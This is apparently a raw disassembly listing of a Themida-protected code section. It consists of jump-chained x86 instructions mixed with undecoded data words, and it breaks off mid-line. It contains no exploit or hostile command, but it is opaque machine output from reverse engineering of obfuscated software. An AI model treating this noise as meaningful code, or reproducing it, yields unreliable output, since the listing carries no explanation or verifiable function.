Themida_:0059DE23j mov eax, esp add eax, 4 add eax, 4 jmp loc_592BFD ; --------------------------------------------------------------------------- dw 0CE31h dd 0E9F72959h, 0CAAh, 8124148Bh, 4C4h, 99E95900h, 81000030h dd 0CE45A4F7h, 3711E911h, 65BB0000h, 1E60534h, 81505BD8h dd 3F9C242Ch, 815A1F99h, 993F9CC2h, 0BD61E91Fh, 3C89FFFFh dd 77C6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599E32: ; CODE XREF: Themida_:0058EF36j mov edi, 2BFF2B30h jmp loc_5A0D47 ; --------------------------------------------------------------------------- dd 0FF4512E9h db 0FFh ; --------------------------------------------------------------------------- loc_599E41: ; CODE XREF: Themida_:0059253Ej sub ecx, 2A5537A4h jmp loc_59B1B5 ; --------------------------------------------------------------------------- dd 31240C33h, 0C33240Ch, 24248B24h, 0E2D1C209h, 56245F87h dd 0DC6FE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599E66: ; CODE XREF: Themida_:00594B1Cj add esp, 4 push 753Dh mov [esp], esi jmp loc_59C358 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D0010000h, 0E89DE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599E86: ; CODE XREF: Themida_:00596B43j inc ebp xor ebp, 15576314h add edi, ebp pop ebp push esi jmp loc_59AAE6 ; --------------------------------------------------------------------------- dw 3C87h dd 9844E924h, 0E5B8FFFFh, 0E92E3474h, 731Fh, 0EF0BED81h dd 0EB89D5B4h, 5BD8015Dh, 0FF8104E9h db 0FFh ; --------------------------------------------------------------------------- loc_599EB9: ; CODE XREF: Themida_:005A12D7j pop esi add ebp, 0C5FA0AD5h add eax, ebp jmp loc_59A976 ; --------------------------------------------------------------------------- db 0D1h dd 2E1C1E1h, 0DBF18149h, 293884C0h, 0F2D59CFh, 81611058h dd 4ECh, 240C8900h, 807953B9h, 8B6AE934h, 34FFFFFFh, 5F17E924h dd 5F550000h, 0FF970BE9h, 4BBFFh, 0FDE90000h, 8900007Dh dd 4EC81EAh, 89000000h, 4812414h, 456EF124h, 0BEC3E90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599F1E: ; CODE XREF: Themida_:005909F3j and ah, 0A7h shl ah, 3 shr ah, 8 sub ah, 18h mov dl, ah jmp loc_59FEDB ; --------------------------------------------------------------------------- loc_599F31: ; CODE XREF: Themida_:00597134j mov cl, bh pop ebx push ebp jmp loc_59FAD6 ; --------------------------------------------------------------------------- dw 0E981h dd 179F0283h, 0CEE9D901h, 31FFFF8Eh, 31C131C8h, 81BE56C8h dd 1001E09h, 0C1215EF0h, 0FFB5BCE9h, 3BF57FFh, 816A305Bh dd 816C1DF7h, 6AC78138h, 810FD343h, 6B5AFEEFh, 0EF00E978h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_599F7A: ; CODE XREF: Themida_:005A0E1Fj mov esi, 11BB56F0h push ebx mov ebx, 803C14h push ebp mov ebp, 0FF7FC3EBh add ebx, ebp mov ebp, [esp] jmp loc_5A03D3 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 505C2414h, 0B8439268h, 24048B4Dh, 81E78957h dd 4C7h, 4C78100h, 0E9000000h, 0FFFFFEDAh ; --------------------------------------------------------------------------- loc_599FBC: ; CODE XREF: Themida_:0059E4E7j mov [esp], esi push edx jmp loc_5A0E0A ; --------------------------------------------------------------------------- db 81h, 0CDh, 0B9h dd 8144C111h, 0FF39A9EDh, 5DE831F8h, 942DD0F7h, 89A2A950h dd 0F49FE9C5h db 2 dup(0FFh) word_599FE2 dw 0FF66h ; DATA XREF: Themida_:0058E180o dd 4369E932h, 815BFFFFh, 0AD20ECCBh, 0EBBF5722h, 29FBADA7h dd 2434FFFBh, 3889E9h, 69D96800h, 0E95E3527h, 1F01h, 0F0B39DB6h dd 685AF328h, 368Ah, 68240489h, 246Ah, 52241C89h, 5CE99BB2h dd 28000088h, 241C8BF8h, 0FFBC68E9h, 5AD331FFh, 4757BA52h dd 0D2F77E31h, 0EA81E2D1h, 0D956DCAh, 2DEA8142h, 0E985EDCCh dd 7F96h dword_59A054 dd 24048B66h, 0FC968h, 241C8900h, 4EC81h, 24890000h, 6D316824h ; DATA XREF: Themida_:0058E0E0o dd 14890000h, 42136824h, 4890000h, 6E826824h, 7FE948F3h db 0B7h, 2 dup(0FFh) byte_59A083 db 66h ; DATA XREF: Themida_:0058E0D8o dd 50240C8Bh, 405E089h, 51000000h, 4B9h, 59C82900h, 5C240487h dd 53241489h, 0FF5C25E9h, 4C581FFh, 0E9000000h, 62F6h dd 49CCE957h, 0E9810000h, 0DF91BE7h, 0C181F929h, 0DF91BE7h dd 0DCBB535Fh, 4B12681Dh, 68BAF381h, 0CB812781h, 6CF07CBEh dd 0BEA0C381h, 0D901A8D3h, 72F1815Bh, 0E978B414h, 730Ah dd 6497E95Ah, 0C483FFFFh, 89EB8104h, 121044Fh, 89C381C3h dd 0E921044Fh, 0CAFh ; --------------------------------------------------------------------------- loc_59A108: ; CODE XREF: Themida_:0059E86Aj pop esp jmp loc_5A2DE8 ; --------------------------------------------------------------------------- dw 1487h dd 0C5E95C24h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A117: ; CODE XREF: Themida_:0059AAEDj mov esi, [esp] jmp loc_596905 ; --------------------------------------------------------------------------- db 88h dd 0F884E9FEh db 2 dup(0FFh) word_59A126 dw 30ACh ; DATA XREF: Themida_:0058E1D4o dd 656866D8h, 1C896651h, 0B1515024h, 503CE9A8h, 0CD890000h dd 8BEB0159h, 0C481242Ch, 4, 296EE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A14E: ; CODE XREF: Themida_:0059D8A5j mov [esp], esi mov eax, [esp] push ebx push esp jmp loc_5960D0 ; --------------------------------------------------------------------------- byte_59A15B db 0ADh ; DATA XREF: Themida_:0058E1ECo dd 0FF70F3E9h, 243C8BFFh, 0FF9F7CE9h, 0B9515EFFh, 1D1D716Fh dd 159CA29h, 6FBE56DAh, 11D1D71h, 565B5EF2h, 1BD0E9h, 24148B00h dd 4C481h, 0AE90000h, 81000059h, 786976C3h, 0A9E900h, 81560000h dd 469E2434h, 34FF5516h, 0C4815B24h, 4, 469EF381h, 348B5516h dd 4C48324h, 5329FD05h, 6454E92Dh, 0F7530000h, 1BE92414h dd 30FFFFFEh, 24048BC2h, 0FF4822E9h, 4EC81FFh, 0E9000000h dd 0FFFFF4F1h, 0E9241433h, 1081h, 15BDD01h, 0C2015DE8h dd 8324048Bh, 54E904C4h db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A1FF: ; CODE XREF: Themida_:0059877Aj mov esp, [esp] push dword ptr [esp] pop eax add esp, 4 push ebp mov ebp, 590A5C6Ch push ebp dec dword ptr [esp] pop ebp or ebp, 369013D3h dec ebp jmp loc_5934FA ; --------------------------------------------------------------------------- db 0B9h dd 37036DBAh, 0E981D1F7h, 75080793h, 0FF51D6E9h, 5EF301FFh dd 4EB81h, 1C870000h, 2E95C24h, 68FFFFADh, 1976h, 55240489h dd 0B5BF5750h, 8921E54Ch, 0C5895FF8h, 34A6B858h, 62D910Dh dd 2D2E2131h, 440F2A2Ah, 2A05E829h, 5440F2Ah, 2E213106h dd 0E9242C8Bh, 66AFh, 61F1BA52h, 0E9423CEBh, 0FFFFE268h dd 31F0314Eh, 5F58E9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A296: ; CODE XREF: Themida_:0058EE6Cj inc eax xor eax, 5D6207FEh jmp loc_594847 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 0C104C483h, 0E7C102E7h, 0B840E903h, 0EE81FFFFh, 6F187F54h dd 1B7AC681h, 30E9CB80h, 5A00003Eh, 31243433h, 34332434h dd 34FF5C24h, 243C8B24h, 81E18951h, 4C1h, 4C18300h, 0E9240C87h dd 0FFFF5DF6h, 653E8BB9h, 90F18114h, 81228549h, 0EA6244E9h dd 8E1C12Ah, 0FF6626E9h, 2414F7FFh, 19C2E9h, 8E3C100h dd 0EB81DBF7h, 7BAA4A99h, 4B39E9h, 41A1BA00h, 7EE90897h dd 5FFFFE7h, 620768A9h, 2503E0C1h, 737E77CCh, 259FE9h dd 4EC8300h, 83242489h, 5A042404h, 4B850h, 0C2010000h dd 0E924048Bh, 0CE8h, 7A58BA52h, 54290AAFh, 0FF5A0424h dd 0C8B2434h, 4C48324h, 0E9E68956h, 0FFFF64FAh, 26D268h dd 24048900h, 1F33E9h db 0 ; --------------------------------------------------------------------------- loc_59A379: ; CODE XREF: Themida_:0059B70Bj sub edx, eax sub edx, 21550ADCh pop eax mov ebp, edx jmp loc_59C87F ; --------------------------------------------------------------------------- db 1, 0FEh, 81h dd 9B4D09C6h, 0AE5DE92Ch, 34FFFFFFh, 0B6E95E24h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A39F: ; CODE XREF: Themida_:0059CB9Bj pop ecx add esp, 4 xor ecx, eax xor eax, ecx xor ecx, eax push edx push 314Dh mov [esp], esi jmp loc_58FC06 ; --------------------------------------------------------------------------- word_59A3BA dw 77FFh ; DATA XREF: Themida_:0058E230o dd 59669D1Ch, 9C241CD3h, 0FFC859E9h, 26602DFFh, 0C8B1ACDh dd 4C48124h, 5F000000h, 0F5E95451h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A3DF: ; CODE XREF: Themida_:005977B9j push 46A0h jmp loc_58EAE8 ; --------------------------------------------------------------------------- db 46h, 81h, 0C6h dd 8B624E7Fh, 0FFE638E9h, 4C181FFh, 81000000h, 4ECh, 240C8900h dd 42474FFh, 592434FFh, 57E18951h, 0E4DBB53h, 14BF23A2h dd 0F738097Ch, 42F781D7h, 29F1E608h, 4F475BDFh, 57E9h dd 8BDA8800h, 0C481241Ch, 4, 148BD388h, 4C48324h, 0E924048Bh dd 0FFFFF256h, 7168C581h, 0FD29010Ah, 0FF8DC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_59A455: ; CODE XREF: Themida_:005A136Aj dec esi shl esi, 8 sub esi, 9F2342E6h sub ebx, esi pop esi add ebx, ecx push ecx mov ecx, 2A5A7CFCh sub ecx, 0C4E214E2h sub ebx, 6FEF1D46h add ebx, ecx add ebx, 6FEF1D46h pop ecx jmp loc_59247C ; --------------------------------------------------------------------------- dd 81FFEF83h, 6E7D59F7h, 23E98112h, 164D50Fh, 0EDC6E9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A49A: ; CODE XREF: Themida_:0058FD22j add eax, 2E0E1077h xor eax, 666218C1h sub eax, 1D1962B1h push ebp push esi jmp loc_58FCC0 ; --------------------------------------------------------------------------- dd 0CA88C188h, 0E92434FFh, 0FFFF4091h ; --------------------------------------------------------------------------- loc_59A4BC: ; CODE XREF: Themida_:005957F7j xor eax, ebx pop ebx jmp loc_5A17AB ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 8704C283h, 315C2414h, 2434FFF8h, 0E089505Fh dd 0FF78DEE9h, 2EC681FFh, 8B5F692Dh, 0C0E9240Ch, 89000013h dd 0AFB42404h, 80A7CC80h, 0CAE9FFC4h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59A4FF: ; CODE XREF: Themida_:00594F2Aj shr esi, 7 add esi, 0CAF5825Eh xor eax, esi pop esi or ecx, eax mov eax, [esp] jmp loc_5980FA ; --------------------------------------------------------------------------- loc_59A515: ; CODE XREF: Themida_:00593924j xor edi, ebx jmp loc_596507 ; --------------------------------------------------------------------------- dd 425DEA29h, 0DC1AEA81h, 0E281A2C6h, 4373131Fh, 5E08950h dd 4, 8704E883h, 895C2404h, 67E9240Ch, 8100004Eh, 4C1h dd 6DBEE900h, 3C330000h, 243C3124h, 0E9243C33h, 2390h dd 5D3CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59A562: ; CODE XREF: Themida_:005A293Bj pop ebx jmp loc_59B72D ; --------------------------------------------------------------------------- loc_59A568: ; CODE XREF: Themida_:00594F7Fj sub ebp, 425C5992h mov eax, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop esi push ecx push ebp push 22624170h pop ebp jmp loc_596C91 ; --------------------------------------------------------------------------- dd 0BD240481h, 5B00EA13h, 13BDEB81h, 8B5E00EAh, 0C4832404h dd 8BDF8904h, 0E955241Ch, 31D0h, 0C381E389h, 4, 0FFACE0E9h dd 54505CFFh, 40558h, 0B9510000h, 4, 3359C801h, 65E92404h dd 89FFFF69h, 34BF57E0h, 0E90EB83Fh, 540Dh ; --------------------------------------------------------------------------- loc_59A5FC: ; CODE XREF: Themida_:00598B2Bj mov edi, 35BE3DE6h mov eax, 90750659h sub eax, edi mov edi, [esp] add esp, 4 sub ebp, eax pop eax sub [edi+24h], ebp jmp loc_59263A ; --------------------------------------------------------------------------- dd 883DC380h, 0E9805BD9h, 8DFFE9A5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A62A: ; CODE XREF: Themida_:00595ACFj push esi mov esi, 39B111AFh add esi, 50FF094Eh neg esi or esi, 452041AEh sub esi, 3AFA4B4Bh add esi, 0C58A659Bh sub ebp, esi jmp loc_59529F ; --------------------------------------------------------------------------- db 56h, 0BEh, 0C4h dd 832B685Ch, 3C8904ECh, 39BD5524h, 89633C10h, 0D7F75DEFh dd 0E781D7F7h, 9B75873h, 475FE9h, 0AD7EBE00h, 0D1E95817h dd 2100002Fh, 0E99C2404h, 0FFFF3CCBh ; --------------------------------------------------------------------------- loc_59A688: ; CODE XREF: Themida_:005A13B5j mov ebp, [esp] add esp, 4 push esi jmp loc_58E800 ; --------------------------------------------------------------------------- db 5Bh dd 0FFE783E9h, 1D5368FFh, 1C890000h, 6C5BBB24h, 0E943346Fh dd 7A14h, 881BEA80h, 0BDC1E9D7h, 885BFFFFh, 148B8714h dd 4C48124h, 8B000000h, 8952240Ch, 9BE56E2h, 4651AB2Bh dd 0FF3C97E9h, 51C301FFh, 96699B9h, 0B7E94168h, 83000077h dd 0E95604C4h, 84E0h, 8B2434FFh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5A0103 ; --------------------------------------------------------------------------- dw 50E9h dd 0F7FFFF3Ch, 4A09E9D5h, 0D8300000h, 121168h, 24148900h dd 0C6FECAB6h, 0F0885066h, 0C688D0F6h, 0EE805866h, 18C680DFh dd 7A8FE9h, 6EDC100h, 0FA7BED81h, 0EB8103FFh, 4D0B5159h dd 2F42C381h, 0EB01048Dh, 2F42EB81h, 0C381048Dh, 4D0B5159h dd 39DE9h, 34690500h, 88052225h, 0E953677Dh, 0FFFF7BF9h dd 83243C8Bh, 0FEE904C4h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A76F: ; CODE XREF: Themida_:005A2E58j xchg ebp, [esp] pop esp jmp loc_59BC2D ; --------------------------------------------------------------------------- dd 0B8F181h, 0CA010A44h, 24148759h, 4A75E9h, 37312D00h dd 20E941F8h, 33FFFF6Fh, 4312404h, 24043324h, 0FF92CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_59A7A1: ; CODE XREF: Themida_:0059BC3Fj sub dword ptr [esp+4], 3DF847E4h push dword ptr [esp] pop eax jmp loc_5920E8 ; --------------------------------------------------------------------------- word_59A7B2 dw 34FFh ; DATA XREF: Themida_:0058E1ACo dd 89575824h, 4C781E7h, 83000000h, 3C3304EFh, 243C3124h dd 0E9243C33h, 3A05h ; --------------------------------------------------------------------------- loc_59A7D0: ; CODE XREF: Themida_:0059D07Bj pop esp sub esp, 4 mov [esp], edi push 3CCDh mov [esp], ebx jmp loc_5999D0 ; --------------------------------------------------------------------------- db 29h dd 0BD5559CEh, 713531E5h, 0E906E5C1h, 0FFFF9821h, 4C481h dd 91350000h, 814F3352h, 0B22F03EEh, 52C6015Eh, 0B22F03BAh dd 5AD6015Eh, 74FF5658h, 8F5E0424h, 685C2404h, 7957h, 0B9240C89h dd 53053A75h, 8B98E957h, 0D301FFFFh, 2C3815Ah, 33000000h dd 1C31241Ch, 241C3324h, 6624248Bh, 81240C8Bh, 4ECh, 0BA7CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A856: ; CODE XREF: Themida_:00599C14j add ecx, 4 xchg ecx, [esp] pop esp push eax mov al, 0B2h or al, 6Dh jmp loc_590AE8 ; --------------------------------------------------------------------------- loc_59A86A: ; CODE XREF: Themida_:0059003Aj push edi mov edi, 65133A83h sub edi, 0FFFFFFFFh and edi, 2FF729D6h jmp loc_599D06 ; --------------------------------------------------------------------------- dw 895Ch dd 0EC812414h, 4, 0B0240489h, 0C0C0FE93h, 0D8F602E0h, 0D804C0FEh dd 0FF51AAE9h, 9C5066FFh, 0FF3AAEE9h, 7DF181FFh, 5241AA0Fh dd 71D640BAh, 5AD131CAh, 367B4E05h, 2DC8292Dh, 2D367B4Eh dd 2434FF59h, 3686E95Eh, 0DAF70000h, 0FFF01AE9h, 81CF01FFh dd 2002E2EFh, 5655E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A8DE: ; CODE XREF: Themida_:00594AD2j push ebx jmp loc_597164 ; --------------------------------------------------------------------------- dd 0EA81EA01h, 29F077F6h, 49AFE9h, 246C0100h, 348B5D04h dd 4C48324h, 4EC81h, 2C890000h, 0BA525324h, 3F502C6h, 0FF4819E9h dd 32E95CFFh db 85h, 2 dup(0) byte_59A917 db 0FFh ; DATA XREF: Themida_:0058E194o dd 34FF2434h, 0BCE95A24h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A923: ; CODE XREF: Themida_:0059E663j mov eax, [esp] add esp, 4 jmp loc_59BEDA ; --------------------------------------------------------------------------- db 30h, 0E6h, 8Bh dd 0C4812404h, 4, 0E95AF030h, 0FFFF5193h, 0FFE8835Dh, 7E41BD55h dd 3FE94160h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A953: ; CODE XREF: Themida_:0059793Cj mov edx, esp jmp loc_59AB43 ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 8B241C33h, 2C892424h, 1C9F6824h, 1C890000h dd 0AA58E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A976: ; CODE XREF: Themida_:00599EC2j pop ebp add ebp, eax mov eax, [esp] add esp, 4 mov edx, ebp pop ebp loc_59A982: ; CODE XREF: Themida_:0059B249j ; Themida_:0059EB2Dj push dword ptr [edi+24h] push dword ptr [esp] push dword ptr [esp] jmp loc_59287B ; --------------------------------------------------------------------------- loc_59A990: ; CODE XREF: Themida_:00597767j pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_58E353 ; --------------------------------------------------------------------------- dd 8007ECC0h, 6FE96EF4h, 29FFFF7Eh, 33EB81C3h, 5140E73Dh dd 4A6BBA52h, 0BE561551h, 49E9293Eh, 10E9F209h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59A9C3: ; CODE XREF: Themida_:005A0F3Cj sub ebx, 383C1B69h add ebx, 4F41220Dh add ebx, 1953271Dh add ebx, 486F476Fh mov [ebx], edx pop ebx mov eax, [esp] add esp, 4 jmp loc_598AFF ; --------------------------------------------------------------------------- loc_59A9EC: ; CODE XREF: Themida_:005A30E5j push esp pop edx jmp loc_58FDB9 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF395Bh ; --------------------------------------------------------------------------- loc_59A9F8: ; CODE XREF: Themida_:0058E811j xor esi, [esp] pop esp jmp loc_59DFCF ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0C2810000h, 46E7575Bh, 0D70C281h, 0FA010B45h, 0D70EA81h dd 0EA810B45h, 46E7575Bh, 6E78685Fh, 0C890000h, 6D9C6824h dd 1C890000h, 48B9BB24h, 814364F3h, 8473FCBh, 90C3814Ah dd 89C6E7E8h, 0D9F75BD9h, 5605E1C1h, 0FF69E1E9h, 243489FFh dd 67E2E9h, 0F6302D00h, 0C2890CCFh, 0FFDF03E9h, 243C8BFFh dd 0FFA40FE9h db 0FFh ; --------------------------------------------------------------------------- loc_59AA6D: ; CODE XREF: Themida_:005905C0j pop ecx add esp, 4 push ebx jmp loc_5A2066 ; --------------------------------------------------------------------------- db 59h dd 0FFD92DE9h, 1C8B66FFh, 2C48124h, 68000000h, 3469h, 66241489h dd 667998BAh, 14F76652h, 4671E924h, 15EFFFFh, 36C781CFh dd 5941F14Fh, 0E904C783h, 5627h, 0E357B8BAh, 8E2C166h dd 0FFD2E0E9h, 0E2C158FFh, 0AFEA8102h, 10FBAE1h, 74E95AD0h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_59AACF: ; CODE XREF: Themida_:00598000j dec dword ptr [esp] pop edx push ebp push 0DF01F21h pop ebp jmp loc_58E9B3 ; --------------------------------------------------------------------------- db 29h dd 4BAE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59AAE6: ; CODE XREF: Themida_:00599E91j mov esi, 4 add edi, esi jmp loc_59A117 ; --------------------------------------------------------------------------- dw 2C8Bh dd 172EE924h, 1C890000h, 2330BB24h, 0EFBE21FAh, 0E91720F4h dd 0FFFF56A1h, 6E1C15Bh, 2 dup(0C831C131h), 0D8E9C131h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59AB1F: ; CODE XREF: Themida_:0059BE79j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A06AE ; --------------------------------------------------------------------------- dw 0C383h dd 74FF5304h, 34FF0424h, 9FE95B24h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59AB43: ; CODE XREF: Themida_:0059A955j add edx, 4 sub edx, 4 jmp loc_59FD97 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 582434FFh, 0E95E5456h, 0FFFF5F9Fh, 776DEA81h, 0C2016B25h dd 776DC281h, 83586B25h, 148704C2h, 0C3835C24h, 30B86802h dd 1C890000h, 2474FF24h, 2434FF04h, 4C4835Bh, 8B24048Fh dd 4D22424h, 0B8E99C24h, 81FFFF37h, 8B172CC2h, 68C20112h dd 16AFh, 83AFE9h db 0 ; --------------------------------------------------------------------------- loc_59ABAD: ; CODE XREF: Themida_:00593B78j push ecx mov ecx, 28F1170Eh push ebp jmp loc_59798D ; --------------------------------------------------------------------------- loc_59ABB9: ; CODE XREF: Themida_:00593A69j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ecx mov ecx, 14F36A82h add ecx, 3F2BF8FDh xor edi, ecx mov ecx, [esp] jmp loc_59F6D6 ; --------------------------------------------------------------------------- loc_59ABDB: ; CODE XREF: Themida_:0059F379j xor edi, 36AF26F8h push dword ptr [esp] pop edx add esp, 4 sub eax, 1C2E6EECh sub eax, edi add eax, 1C2E6EECh jmp loc_598859 ; --------------------------------------------------------------------------- byte_59ABF9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0058E08Co dd 4EC8324h, 29F4E9h, 57DBF700h, 0FF92D2E9h, 0EC815BFFh dd 4, 0FFEAFFE9h, 0B7E1B6FFh, 5AF728D5h, 0FFE527E9h db 0FFh ; --------------------------------------------------------------------------- loc_59AC25: ; CODE XREF: Themida_:0059031Bj pop ecx jmp loc_5926FC ; --------------------------------------------------------------------------- loc_59AC2B: ; CODE XREF: Themida_:005902DCj add esp, 4 jmp loc_5A0E7A ; --------------------------------------------------------------------------- db 0C0h dd 0C18004E9h, 0E9CE0055h, 2A9Dh, 0C181E189h, 4, 0FF3746E9h dd 44E280FFh, 0C0B05066h, 0FF3F54E9h db 0FFh ; --------------------------------------------------------------------------- loc_59AC59: ; CODE XREF: Themida_:005A03E9j sub ebx, 5CE7066Fh jmp loc_59FD3D ; --------------------------------------------------------------------------- dd 4306EBC1h, 8106E3C1h, 6606F0F3h, 8BD9012Fh, 15E9241Ch dd 0FF000064h, 0CEE92434h, 0F7FFFFD4h, 0E9D0F7D8h, 4F4Bh dd 2AC5815Fh, 1367465h, 0A47CE9F5h db 2 dup(0FFh) word_59AC9A dw 34FFh ; DATA XREF: Themida_:0058E290o dd 2434FF24h, 47F3E9h, 148B5C00h, 4C48324h, 4C281h, 1A680000h dd 89000036h, 21BF243Ch, 55492264h, 22641DBDh, 5DEF2949h dd 0E95FFA01h, 0FFFFE8E6h, 3124248Bh, 0E99C2404h, 0FFFF3677h dd 42474FFh, 0FFD7F6E9h, 34FF5EFFh, 241C8B24h, 8304C483h dd 0E95104C4h, 2173h, 348BF589h, 4C48124h, 57000000h, 89E98951h dd 31B5E9CFh, 0C2880000h, 0FF9DF0E9h, 8BE381FFh, 5272F240h dd 404B12BAh, 5AD32974h, 15BDD01h, 2434FFEAh, 4C4835Dh dd 0FFDF1DE9h, 4EC81FFh, 89000000h, 0FFBF243Ch, 0E9FFFFFFh dd 0FFFFBEF0h, 24048F5Ch, 0F624248Bh, 5785E9F1h, 815C0000h dd 4C4h, 55D66800h, 2C890000h, 0ABE95424h, 0B9FFFF3Ah dd 5CC2175Dh, 67A0E981h, 0E1814DD3h, 3A5510FEh, 0FFF9F7E9h dd 4C181FFh, 81000000h, 4C1h, 0C4C6E900h, 0C281FFFFh, 4 dd 0E9241487h, 0FFFF513Fh, 875BDE01h, 0C15C2434h, 0BD5506EFh dd 315E09CFh, 58E9EF09h, 8BFFFFA4h, 0C4832404h, 57C32904h dd 0FF946FE9h, 0DFE959FFh db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_59ADCB: ; CODE XREF: Themida_:00592CD4j add edi, 0C86546Ah pop eax add edi, 69C46145h sub edi, ebx sub edi, 69C46145h jmp loc_59F464 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0BBh dd 8110B579h, 0C52232EDh, 0DC9EE9ECh, 1487FFFFh, 0C0685C24h dd 89000046h, 45BD242Ch, 81596B16h, 6B1641F5h, 5DEA0159h dd 0DEA68h, 24048900h, 0F26719B8h, 8E0C134h, 0EAC68h, 24148900h dd 0FF641AE9h, 5BDF31FFh, 383B68h, 0ADAFE900h, 8305FFFFh dd 176FF0Fh, 1C8758C3h, 24248B24h, 0FFA15EE9h, 1FECB8FFh dd 9640149Eh, 0FFF433E9h, 24248BFFh, 5268C331h, 8900005Ch dd 0EAB82404h, 1121B5Dh, 0A8E958C2h, 9FFFF59h, 0BBE95DEBh dd 29FFFFB6h, 2BD305D8h, 0E9554C7Ch, 1BAFh, 104C483h, 0D90559C8h dd 8312EC66h, 0C8904ECh, 623FB924h, 0F1815C64h, 5D866B39h dd 5959C801h, 502E68h, 24348900h, 7C30EDBEh, 4EC8324h dd 0E9243C89h, 3AF5h, 7FFFFB2Dh, 3E016843h, 34890000h dd 36A1BE24h, 0F1296A0Bh, 8324348Bh, 32E904C4h, 81FFFFB0h dd 6B0E37F2h, 5AD08905h, 12055D05h, 0F84B2D28h, 4AE95AE0h dd 29FFFF86h, 0F799E9D9h, 0C530FFFFh, 59E80058h, 80C6B252h dd 0CA8026C2h, 1EF280E8h, 0E95AD000h, 0FFFF54E8h ; --------------------------------------------------------------------------- loc_59AF18: ; CODE XREF: Themida_:00591202j push esp pop eax jmp loc_590EC4 ; --------------------------------------------------------------------------- db 89h dd 0E1BB241Ch, 0BA3D1A35h, 3D1A35E5h, 64D2BD55h, 0EA01310Ah dd 50DA295Dh, 0A64D2B8h, 8EA8131h, 2967842Bh, 8C281C2h dd 5867842Bh, 83241C8Bh, 0C18104C4h, 2F6665Fh, 0E981D101h dd 2F6665Fh, 0E924148Bh, 0FFFFC8C8h, 4C681h, 0EC810000h dd 4, 0E9240C89h, 0FFFF6A13h, 0E9241489h, 0FFFFF3B1h ; --------------------------------------------------------------------------- loc_59AF84: ; CODE XREF: Themida_:0059E24Aj add edi, ecx jmp loc_5928F7 ; --------------------------------------------------------------------------- loc_59AF8B: ; CODE XREF: Themida_:0059F8B4j mov eax, 39B50B73h jmp loc_5919ED ; --------------------------------------------------------------------------- aBqSi db 'ï´Ôš#éë-',0 align 10h dd 81D3F758h, 0D14B0FE3h, 0DEB8141h, 81709978h, 7C94D7C3h dd 8BD9894Ah, 0C481241Ch, 4, 2B9CE981h, 0F1810D9Fh, 0D9B0254Dh dd 53E9CA01h, 58FFFF44h, 0FFBF75E9h db 0FFh byte_59AFD9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0058E2DCo dd 6658669Dh, 9C240411h, 0FF336AE9h, 38EE81FFh, 0E92CFA6Ch dd 0EF3h, 0E958C529h, 872h, 2CC18159h, 5A76FE5Dh, 8108E1C1h dd 1F4C33E9h, 0C1E9D16Fh, 0F18107E9h, 6C3CADh, 8159CA89h dd 274136EBh, 4542E965h db 2 dup(0) word_59B026 dw 77FFh ; DATA XREF: Themida_:0058E07Co dd 2434813Ch, 31073719h, 0E92434FFh, 1538h, 0E904C483h dd 6A43h ; --------------------------------------------------------------------------- loc_59B040: ; CODE XREF: Themida_:0059F74Ej pop ecx push 5DC8h mov [esp], ecx jmp loc_5A2253 ; --------------------------------------------------------------------------- dw 6568h dd 89000002h, 5BD242Ch, 2134D571h, 8105E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59B062: ; CODE XREF: Themida_:00598DCCj mov [esp], esi mov edx, [esp] add esp, 4 jmp loc_59BBA8 ; --------------------------------------------------------------------------- dword_59B070 dd 0EC8353ADh, 24148904h, 375DEBAh, 6680E934h, 0E956FFFFh ; DATA XREF: Themida_:0058E1E4o dd 0FFFF5B39h, 104C483h, 5F04247Ch, 0ECB9515Ah, 0F778475Ah dd 0E1C141D1h, 7BE5E902h, 